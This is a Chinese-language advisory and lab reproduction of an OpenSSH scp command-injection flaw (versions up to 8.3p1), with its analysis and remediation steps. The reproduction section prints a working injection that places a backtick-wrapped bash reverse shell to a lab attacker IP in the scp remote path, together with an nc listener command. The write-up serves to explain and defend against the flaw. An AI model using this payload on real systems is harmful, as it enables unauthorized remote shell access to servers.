1、漏洞描述
OpenSSH是SSH(Secure SHell)协议的免费开源实现。OpenSSH是个SSH的软件,Linux/Unix都用OpenSSH软件提供SSH服务。SCP是 Secure Copy 的缩写, SCP 是 Linux系统下基于SSH登陆进行安全的远程文件拷贝命令。
允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。
利用条件:知道目标的ssh密码。
漏洞利用场景:一般在特定环境下利用,比如在知道SSH账户密码后,但禁用SSH登陆或SSH连接被阻止,服务器允许使用scp传文件的情况下,可对其进行命令注入,所以如果攻击者不知道ssh账密,此漏洞无法利用。
2、影响版本及严重程度
OpenSSH <= 8.3p1
严重程序:高危
3、漏洞简单分析
3.1 使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:
scp [文件名] [用户名]@[远程主机]:[目录]/[文件名]
示例:scp 123.txt root@192.168.233.134:root/123.txt
3.2 在执行上述命令后,scp会使用”-t“参数来获取存储传入文件的路径,如下:
scp -t [目录]/[文件名]
问题出在下图的"scp.c"文件的988行,未对传入的文件路径进行检测防护,攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时payload将会发送到远程服务器并执行。
4、漏洞复现
攻击源Kali:192.168.233.131
目标靶场Centos8:192.168.233.134
4.1 执行SCP命令执行,反弹shell
scp [上传任意文件] root@192.168.233.134:'`bash -i >& /dev/tcp/192.168.233.131/9999 0>&1`'
4.2 kali机器监听9999端口
nc -lvp 9999
4.3 反弹成功
5、修复方式
5.1 SSH账密确保为强口令且周期性更换密码
5.2 使用rsync代替SCP
5.3 升级OpenSSH为最新版openssh-8.8p1.tar.gz
下载链接:https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/
参考链接:
https://www.safedog.cn/news.html?id=4500
https://www.cnblogs.com/ch4nge/p/13867062.html
https://blog.csdn.net/zetion_3/article/details/116053470
https://blog.csdn.net/qq_41901122/article/details/114437422